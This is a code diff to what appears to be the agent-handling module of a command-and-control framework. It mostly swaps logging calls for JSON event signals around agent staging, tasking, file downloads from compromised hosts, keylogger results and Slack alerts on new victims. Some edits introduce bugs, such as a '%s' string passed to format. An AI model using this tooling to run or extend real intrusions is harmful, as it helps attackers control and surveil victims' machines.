# dispatcher.send("[+] File "+path+" from "+str(sessionID)+" saved", sender='Agents')
|
message = "[+] File {} from {} saved".format(path, sessionID)
|
||||||
dispatcher.send("[+] File %s from %s saved" % (path, sessionID), sender='Agents')
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
return "/downloads/%s/%s/%s" % (sessionID, "/".join(parts[0:-1]), filename)
|
return "/downloads/%s/%s/%s" % (sessionID, "/".join(parts[0:-1]), filename)
|
||||||
|
|
||||||
|
@ -368,7 +405,7 @@ class Agents:
|
||||||
nameid = self.get_agent_id_db(sessionID)
|
nameid = self.get_agent_id_db(sessionID)
|
||||||
if nameid:
|
if nameid:
|
||||||
sessionID = nameid
|
sessionID = nameid
|
||||||
|
|
||||||
conn = self.get_db_connection()
|
conn = self.get_db_connection()
|
||||||
try:
|
try:
|
||||||
self.lock.acquire()
|
self.lock.acquire()
|
||||||
|
@ -840,7 +877,12 @@ class Agents:
|
||||||
finally:
|
finally:
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[!] Non-existent agent %s returned results" % (sessionID), sender='Agents')
|
message = "[!] Non-existent agent %s returned results".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
|
|
||||||
def update_agent_sysinfo_db(self, sessionID, listener='', external_ip='', internal_ip='', username='', hostname='', os_details='', high_integrity=0, process_name='', process_id='', language_version='', language=''):
|
def update_agent_sysinfo_db(self, sessionID, listener='', external_ip='', internal_ip='', username='', hostname='', os_details='', high_integrity=0, process_name='', process_id='', language_version='', language=''):
|
||||||
|
@ -863,12 +905,13 @@ class Agents:
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
|
|
||||||
|
|
||||||
def update_agent_lastseen_db(self, sessionID):
|
def update_agent_lastseen_db(self, sessionID, current_time=None):
|
||||||
"""
|
"""
|
||||||
Update the agent's last seen timestamp in the database.
|
Update the agent's last seen timestamp in the database.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
current_time = helpers.get_datetime()
|
if not current_time:
|
||||||
|
current_time = helpers.get_datetime()
|
||||||
conn = self.get_db_connection()
|
conn = self.get_db_connection()
|
||||||
try:
|
try:
|
||||||
self.lock.acquire()
|
self.lock.acquire()
|
||||||
|
@ -923,7 +966,7 @@ class Agents:
|
||||||
# rename the agent in the database
|
# rename the agent in the database
|
||||||
cur = conn.cursor()
|
cur = conn.cursor()
|
||||||
cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname])
|
cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname])
|
||||||
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (oldname, "rename", newname, helpers.get_datetime()))
|
events.agent_rename(oldname, newname)
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
|
@ -1021,8 +1064,12 @@ class Agents:
|
||||||
print helpers.color("[!] Agent %s not active." % (agentName))
|
print helpers.color("[!] Agent %s not active." % (agentName))
|
||||||
else:
|
else:
|
||||||
if sessionID:
|
if sessionID:
|
||||||
|
message = "[*] Tasked {} to run {}".format(sessionID, taskName)
|
||||||
dispatcher.send("[*] Tasked %s to run %s" % (sessionID, taskName), sender='Agents')
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
conn = self.get_db_connection()
|
conn = self.get_db_connection()
|
||||||
try:
|
try:
|
||||||
|
@ -1036,7 +1083,7 @@ class Agents:
|
||||||
agent_tasks = json.loads(agent_tasks[0])
|
agent_tasks = json.loads(agent_tasks[0])
|
||||||
else:
|
else:
|
||||||
agent_tasks = []
|
agent_tasks = []
|
||||||
|
|
||||||
pk = cur.execute("SELECT max(id) from taskings where agent=?", [sessionID]).fetchone()[0]
|
pk = cur.execute("SELECT max(id) from taskings where agent=?", [sessionID]).fetchone()[0]
|
||||||
if pk is None:
|
if pk is None:
|
||||||
pk = 0
|
pk = 0
|
||||||
|
@ -1047,8 +1094,16 @@ class Agents:
|
||||||
agent_tasks.append([taskName, task, pk])
|
agent_tasks.append([taskName, task, pk])
|
||||||
cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])
|
cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])
|
||||||
|
|
||||||
# report the agent tasking in the reporting database
|
# dispatch this event
|
||||||
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk))
|
message = "[*] Agent {} tasked with task ID {}".format(sessionID, pk)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message,
|
||||||
|
'task_name': taskName,
|
||||||
|
'task_id': pk,
|
||||||
|
'task': task
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
@ -1057,7 +1112,7 @@ class Agents:
|
||||||
f = open('%s/LastTask' % (self.installPath), 'w')
|
f = open('%s/LastTask' % (self.installPath), 'w')
|
||||||
f.write(task)
|
f.write(task)
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
return pk
|
return pk
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
|
@ -1152,6 +1207,16 @@ class Agents:
|
||||||
finally:
|
finally:
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
|
|
||||||
|
if sessionID == '%':
|
||||||
|
sessionID = 'all'
|
||||||
|
|
||||||
|
message = "[*] Tasked {} to clear tasks".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
|
|
||||||
###############################################################
|
###############################################################
|
||||||
#
|
#
|
||||||
|
@ -1174,7 +1239,12 @@ class Agents:
|
||||||
|
|
||||||
elif meta == 'STAGE1':
|
elif meta == 'STAGE1':
|
||||||
# step 3 of negotiation -> client posts public key
|
# step 3 of negotiation -> client posts public key
|
||||||
dispatcher.send("[*] Agent %s from %s posted public key" % (sessionID, clientIP), sender='Agents')
|
message = "[*] Agent {} from {} posted public key".format(sessionID, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
# decrypt the agent's public key
|
# decrypt the agent's public key
|
||||||
try:
|
try:
|
||||||
|
@ -1182,7 +1252,12 @@ class Agents:
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print 'exception e:' + str(e)
|
print 'exception e:' + str(e)
|
||||||
# if we have an error during decryption
|
# if we have an error during decryption
|
||||||
dispatcher.send("[!] HMAC verification failed from '%s'" % (sessionID), sender='Agents')
|
message = "[!] HMAC verification failed from '{}'".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
return 'ERROR: HMAC verification failed'
|
return 'ERROR: HMAC verification failed'
|
||||||
|
|
||||||
if language.lower() == 'powershell':
|
if language.lower() == 'powershell':
|
||||||
|
@ -1191,14 +1266,24 @@ class Agents:
|
||||||
|
|
||||||
# client posts RSA key
|
# client posts RSA key
|
||||||
if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")):
|
if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")):
|
||||||
dispatcher.send("[!] Invalid PowerShell key post format from %s" % (sessionID), sender='Agents')
|
message = "[!] Invalid PowerShell key post format from {}".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
return 'ERROR: Invalid PowerShell key post format'
|
return 'ERROR: Invalid PowerShell key post format'
|
||||||
else:
|
else:
|
||||||
# convert the RSA key from the stupid PowerShell export format
|
# convert the RSA key from the stupid PowerShell export format
|
||||||
rsaKey = encryption.rsa_xml_to_key(message)
|
rsaKey = encryption.rsa_xml_to_key(message)
|
||||||
|
|
||||||
if rsaKey:
|
if rsaKey:
|
||||||
dispatcher.send("[*] Agent %s from %s posted valid PowerShell RSA key" % (sessionID, clientIP), sender='Agents')
|
message = "[*] Agent {} from {} posted valid PowerShell RSA key".format(sessionID, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
nonce = helpers.random_string(16, charset=string.digits)
|
nonce = helpers.random_string(16, charset=string.digits)
|
||||||
delay = listenerOptions['DefaultDelay']['Value']
|
delay = listenerOptions['DefaultDelay']['Value']
|
||||||
|
@ -1223,19 +1308,34 @@ class Agents:
|
||||||
return encryptedMsg
|
return encryptedMsg
|
||||||
|
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[!] Agent %s returned an invalid PowerShell public key!" % (sessionID), sender='Agents')
|
message = "[!] Agent {} returned an invalid PowerShell public key!".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
return 'ERROR: Invalid PowerShell public key'
|
return 'ERROR: Invalid PowerShell public key'
|
||||||
|
|
||||||
elif language.lower() == 'python':
|
elif language.lower() == 'python':
|
||||||
if ((len(message) < 1000) or (len(message) > 2500)):
|
if ((len(message) < 1000) or (len(message) > 2500)):
|
||||||
dispatcher.send("[!] Invalid Python key post format from %s" % (sessionID), sender='Agents')
|
message = "[!] Invalid Python key post format from {}".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
return "Error: Invalid Python key post format from %s" % (sessionID)
|
return "Error: Invalid Python key post format from %s" % (sessionID)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
int(message)
|
int(message)
|
||||||
except:
|
except:
|
||||||
dispatcher.send("[!] Invalid Python key post format from %s" % (sessionID), sender='Agents')
|
message = "[!] Invalid Python key post format from {}".format(sessionID)
|
||||||
return "Error: Invalid Python key post format from %s" % (sessionID)
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
return "Error: Invalid Python key post format from {}".format(sessionID)
|
||||||
|
|
||||||
# client posts PUBc key
|
# client posts PUBc key
|
||||||
clientPub = int(message)
|
clientPub = int(message)
|
||||||
|
@ -1245,7 +1345,12 @@ class Agents:
|
||||||
|
|
||||||
nonce = helpers.random_string(16, charset=string.digits)
|
nonce = helpers.random_string(16, charset=string.digits)
|
||||||
|
|
||||||
dispatcher.send("[*] Agent %s from %s posted valid Python PUB key" % (sessionID, clientIP), sender='Agents')
|
message = "[*] Agent {} from {} posted valid Python PUB key".format(sessionID, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
delay = listenerOptions['DefaultDelay']['Value']
|
delay = listenerOptions['DefaultDelay']['Value']
|
||||||
jitter = listenerOptions['DefaultJitter']['Value']
|
jitter = listenerOptions['DefaultJitter']['Value']
|
||||||
|
@ -1265,8 +1370,13 @@ class Agents:
|
||||||
return encryptedMsg
|
return encryptedMsg
|
||||||
|
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[*] Agent %s from %s using an invalid language specification: %s" % (sessionID, clientIP, language), sender='Agents')
|
message = "[*] Agent {} from {} using an invalid language specification: {}".format(sessionID, clientIP, language)
|
||||||
'ERROR: invalid language: %s' % (language)
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
return 'ERROR: invalid language: {}'.format(language)
|
||||||
|
|
||||||
elif meta == 'STAGE2':
|
elif meta == 'STAGE2':
|
||||||
# step 5 of negotiation -> client posts nonce+sysinfo and requests agent
|
# step 5 of negotiation -> client posts nonce+sysinfo and requests agent
|
||||||
|
@ -1278,19 +1388,34 @@ class Agents:
|
||||||
parts = message.split('|')
|
parts = message.split('|')
|
||||||
|
|
||||||
if len(parts) < 12:
|
if len(parts) < 12:
|
||||||
dispatcher.send("[!] Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message), sender='Agents')
|
message = "[!] Agent {} posted invalid sysinfo checkin format: {}".format(sessionID, message)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
# remove the agent from the cache/database
|
# remove the agent from the cache/database
|
||||||
self.mainMenu.agents.remove_agent_db(sessionID)
|
self.mainMenu.agents.remove_agent_db(sessionID)
|
||||||
return "ERROR: Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message)
|
return "ERROR: Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message)
|
||||||
|
|
||||||
# verify the nonce
|
# verify the nonce
|
||||||
if int(parts[0]) != (int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1):
|
if int(parts[0]) != (int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1):
|
||||||
dispatcher.send("[!] Invalid nonce returned from %s" % (sessionID), sender='Agents')
|
message = "[!] Invalid nonce returned from {}".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
# remove the agent from the cache/database
|
# remove the agent from the cache/database
|
||||||
self.mainMenu.agents.remove_agent_db(sessionID)
|
self.mainMenu.agents.remove_agent_db(sessionID)
|
||||||
return "ERROR: Invalid nonce returned from %s" % (sessionID)
|
return "ERROR: Invalid nonce returned from %s" % (sessionID)
|
||||||
|
|
||||||
dispatcher.send("[!] Nonce verified: agent %s posted valid sysinfo checkin format: %s" % (sessionID, message), sender='Agents')
|
message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID, message)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
listener = unicode(parts[1], 'utf-8')
|
listener = unicode(parts[1], 'utf-8')
|
||||||
domainname = unicode(parts[2], 'utf-8')
|
domainname = unicode(parts[2], 'utf-8')
|
||||||
|
@ -1310,7 +1435,12 @@ class Agents:
|
||||||
high_integrity = 0
|
high_integrity = 0
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
dispatcher.send("[!] Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e), sender='Agents')
|
message = "[!] Exception in agents.handle_agent_staging() for {} : {}".format(sessionID, e)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
# remove the agent from the cache/database
|
# remove the agent from the cache/database
|
||||||
self.mainMenu.agents.remove_agent_db(sessionID)
|
self.mainMenu.agents.remove_agent_db(sessionID)
|
||||||
return "Error: Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e)
|
return "Error: Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e)
|
||||||
|
@ -1322,16 +1452,21 @@ class Agents:
|
||||||
self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listenerName, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)
|
self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listenerName, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)
|
||||||
|
|
||||||
# signal to Slack that this agent is now active
|
# signal to Slack that this agent is now active
|
||||||
|
|
||||||
slackToken = listenerOptions['SlackToken']['Value']
|
slackToken = listenerOptions['SlackToken']['Value']
|
||||||
slackChannel = listenerOptions['SlackChannel']['Value']
|
slackChannel = listenerOptions['SlackChannel']['Value']
|
||||||
if slackToken != "":
|
if slackToken != "":
|
||||||
slackText = ":biohazard: NEW AGENT :biohazard:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID)
|
slackText = ":biohazard: NEW AGENT :biohazard:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID)
|
||||||
helpers.slackMessage(slackToken,slackChannel,slackText)
|
helpers.slackMessage(slackToken,slackChannel,slackText)
|
||||||
|
|
||||||
# signal everyone that this agent is now active
|
# signal everyone that this agent is now active
|
||||||
dispatcher.send("[+] Initial agent %s from %s now active (Slack)" % (sessionID, clientIP), sender='Agents')
|
message = "[+] Initial agent {} from {} now active (Slack)".format(sessionID, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
# save the initial sysinfo information in the agent log
|
# save the initial sysinfo information in the agent log
|
||||||
agent = self.mainMenu.agents.get_agent_db(sessionID)
|
agent = self.mainMenu.agents.get_agent_db(sessionID)
|
||||||
output = messages.display_agent(agent, returnAsString=True)
|
output = messages.display_agent(agent, returnAsString=True)
|
||||||
|
@ -1360,10 +1495,14 @@ class Agents:
|
||||||
return "STAGE2: %s" % (sessionID)
|
return "STAGE2: %s" % (sessionID)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[!] Invalid staging request packet from %s at %s : %s" % (sessionID, clientIP, meta), sender='Agents')
|
message = "[!] Invalid staging request packet from {} at {} : {}".format(sessionID, clientIP, meta)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
|
def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0', update_lastseen=True):
|
||||||
def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0'):
|
|
||||||
"""
|
"""
|
||||||
Take the routing packet w/ raw encrypted data from an agent and
|
Take the routing packet w/ raw encrypted data from an agent and
|
||||||
process as appropriately.
|
process as appropriately.
|
||||||
|
@ -1372,7 +1511,12 @@ class Agents:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if len(routingPacket) < 20:
|
if len(routingPacket) < 20:
|
||||||
dispatcher.send("[!] handle_agent_data(): routingPacket wrong length: %s" %(len(routingPacket)), sender='Agents')
|
message = "[!] handle_agent_data(): routingPacket wrong length: {}".format(routingPacket)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="empire")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
routingPacket = packets.parse_routing_packet(stagingKey, routingPacket)
|
routingPacket = packets.parse_routing_packet(stagingKey, routingPacket)
|
||||||
|
@ -1386,39 +1530,69 @@ class Agents:
|
||||||
for sessionID, (language, meta, additional, encData) in routingPacket.iteritems():
|
for sessionID, (language, meta, additional, encData) in routingPacket.iteritems():
|
||||||
|
|
||||||
if meta == 'STAGE0' or meta == 'STAGE1' or meta == 'STAGE2':
|
if meta == 'STAGE0' or meta == 'STAGE1' or meta == 'STAGE2':
|
||||||
dispatcher.send("[*] handle_agent_data(): sessionID %s issued a %s request" % (sessionID, meta), sender='Agents')
|
message = "[*] handle_agent_data(): sessionID {} issued a {} request".format(sessionID, meta)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
dataToReturn.append((language, self.handle_agent_staging(sessionID, language, meta, additional, encData, stagingKey, listenerOptions, clientIP)))
|
dataToReturn.append((language, self.handle_agent_staging(sessionID, language, meta, additional, encData, stagingKey, listenerOptions, clientIP)))
|
||||||
|
|
||||||
elif sessionID not in self.agents:
|
elif sessionID not in self.agents:
|
||||||
dispatcher.send("[!] handle_agent_data(): sessionID %s not present" % (sessionID), sender='Agents')
|
message = "[!] handle_agent_data(): sessionID {} not present".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
dataToReturn.append(('', "ERROR: sessionID %s not in cache!" % (sessionID)))
|
dataToReturn.append(('', "ERROR: sessionID %s not in cache!" % (sessionID)))
|
||||||
|
|
||||||
elif meta == 'TASKING_REQUEST':
|
elif meta == 'TASKING_REQUEST':
|
||||||
dispatcher.send("[*] handle_agent_data(): sessionID %s issued a TASKING_REQUEST" % (sessionID), sender='Agents')
|
message = "[*] handle_agent_data(): sessionID {} issued a TASKING_REQUEST".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
dataToReturn.append((language, self.handle_agent_request(sessionID, language, stagingKey)))
|
dataToReturn.append((language, self.handle_agent_request(sessionID, language, stagingKey)))
|
||||||
|
|
||||||
elif meta == 'RESULT_POST':
|
elif meta == 'RESULT_POST':
|
||||||
dispatcher.send("[*] handle_agent_data(): sessionID %s issued a RESULT_POST" % (sessionID), sender='Agents')
|
message = "[*] handle_agent_data(): sessionID {} issued a RESULT_POST".format(sessionID)
|
||||||
dataToReturn.append((language, self.handle_agent_response(sessionID, encData)))
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
dataToReturn.append((language, self.handle_agent_response(sessionID, encData, update_lastseen)))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[!] handle_agent_data(): sessionID %s gave unhandled meta tag in routing packet: %s" % (sessionID, meta), sender='Agents')
|
message = "[!] handle_agent_data(): sessionID {} gave unhandled meta tag in routing packet: {}".format(sessionID, meta)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
return dataToReturn
|
return dataToReturn
|
||||||
|
|
||||||
|
|
||||||
def handle_agent_request(self, sessionID, language, stagingKey):
|
def handle_agent_request(self, sessionID, language, stagingKey, update_lastseen=True):
|
||||||
"""
|
"""
|
||||||
Update the agent's last seen time and return any encrypted taskings.
|
Update the agent's last seen time and return any encrypted taskings.
|
||||||
|
|
||||||
TODO: does this need self.lock?
|
TODO: does this need self.lock?
|
||||||
"""
|
"""
|
||||||
if sessionID not in self.agents:
|
if sessionID not in self.agents:
|
||||||
dispatcher.send("[!] handle_agent_request(): sessionID %s not present" % (sessionID), sender='Agents')
|
message = "[!] handle_agent_request(): sessionID {} not present".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# update the client's last seen time
|
# update the client's last seen time
|
||||||
self.update_agent_lastseen_db(sessionID)
|
if update_lastseen:
|
||||||
|
self.update_agent_lastseen_db(sessionID)
|
||||||
|
|
||||||
# retrieve all agent taskings from the cache
|
# retrieve all agent taskings from the cache
|
||||||
taskings = self.get_agent_tasks_db(sessionID)
|
taskings = self.get_agent_tasks_db(sessionID)
|
||||||
|
@ -1446,7 +1620,7 @@ class Agents:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def handle_agent_response(self, sessionID, encData):
|
def handle_agent_response(self, sessionID, encData, update_lastseen=False):
|
||||||
"""
|
"""
|
||||||
Takes a sessionID and posted encrypted data response, decrypt
|
Takes a sessionID and posted encrypted data response, decrypt
|
||||||
everything and handle results as appropriate.
|
everything and handle results as appropriate.
|
||||||
|
@ -1455,14 +1629,20 @@ class Agents:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if sessionID not in self.agents:
|
if sessionID not in self.agents:
|
||||||
dispatcher.send("[!] handle_agent_response(): sessionID %s not in cache" % (sessionID), sender='Agents')
|
message = "[!] handle_agent_response(): sessionID {} not in cache".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# extract the agent's session key
|
# extract the agent's session key
|
||||||
sessionKey = self.agents[sessionID]['sessionKey']
|
sessionKey = self.agents[sessionID]['sessionKey']
|
||||||
|
|
||||||
# update the client's last seen time
|
# update the client's last seen time
|
||||||
self.update_agent_lastseen_db(sessionID)
|
if update_lastseen:
|
||||||
|
self.update_agent_lastseen_db(sessionID)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# verify, decrypt and depad the packet
|
# verify, decrypt and depad the packet
|
||||||
|
@ -1479,21 +1659,31 @@ class Agents:
|
||||||
results = True
|
results = True
|
||||||
|
|
||||||
conn = self.get_db_connection()
|
conn = self.get_db_connection()
|
||||||
cur = conn.cursor()
|
cur = conn.cursor()
|
||||||
data = cur.execute("SELECT data FROM taskings WHERE agent=? AND id=?", [sessionID,taskID]).fetchone()[0]
|
data = cur.execute("SELECT data FROM taskings WHERE agent=? AND id=?", [sessionID,taskID]).fetchone()[0]
|
||||||
cur.close()
|
cur.close()
|
||||||
theSender="Agents"
|
theSender="Agents"
|
||||||
if data.startswith("function Get-Keystrokes"):
|
if data.startswith("function Get-Keystrokes"):
|
||||||
theSender += "PsKeyLogger"
|
theSender += "PsKeyLogger"
|
||||||
if results:
|
if results:
|
||||||
# signal that this agent returned results
|
# signal that this agent returned results
|
||||||
dispatcher.send("[*] Agent %s returned results." % (sessionID), sender=theSender)
|
message = "[*] Agent {} returned results.".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
# return a 200/valid
|
# return a 200/valid
|
||||||
return 'VALID'
|
return 'VALID'
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
dispatcher.send("[!] Error processing result packet from %s : %s" % (sessionID, e), sender='Agents')
|
message = "[!] Error processing result packet from {} : {}".format(sessionID, e)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
# TODO: stupid concurrency...
|
# TODO: stupid concurrency...
|
||||||
# when an exception is thrown, something causes the lock to remain locked...
|
# when an exception is thrown, something causes the lock to remain locked...
|
||||||
|
@ -1521,7 +1711,14 @@ class Agents:
|
||||||
self.lock.acquire()
|
self.lock.acquire()
|
||||||
# report the agent result in the reporting database
|
# report the agent result in the reporting database
|
||||||
cur = conn.cursor()
|
cur = conn.cursor()
|
||||||
cur.execute("INSERT INTO reporting (name, event_type, message, time_stamp, taskID) VALUES (?,?,?,?,?)", (agentSessionID, "result", responseName, helpers.get_datetime(), taskID))
|
message = "[*] Agent {} got results".format(sessionID)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message,
|
||||||
|
'response_name': responseName,
|
||||||
|
'task_id': taskID
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="agents/{}".format(sessionID))
|
||||||
|
|
||||||
# insert task results into the database, if it's not a file
|
# insert task results into the database, if it's not a file
|
||||||
if taskID != 0 and responseName not in ["TASK_DOWNLOAD", "TASK_CMD_JOB_SAVE", "TASK_CMD_WAIT_SAVE"] and data != None:
|
if taskID != 0 and responseName not in ["TASK_DOWNLOAD", "TASK_CMD_JOB_SAVE", "TASK_CMD_WAIT_SAVE"] and data != None:
|
||||||
|
@ -1549,7 +1746,12 @@ class Agents:
|
||||||
|
|
||||||
if responseName == "ERROR":
|
if responseName == "ERROR":
|
||||||
# error code
|
# error code
|
||||||
dispatcher.send("[!] Received error response from " + str(sessionID), sender='Agents')
|
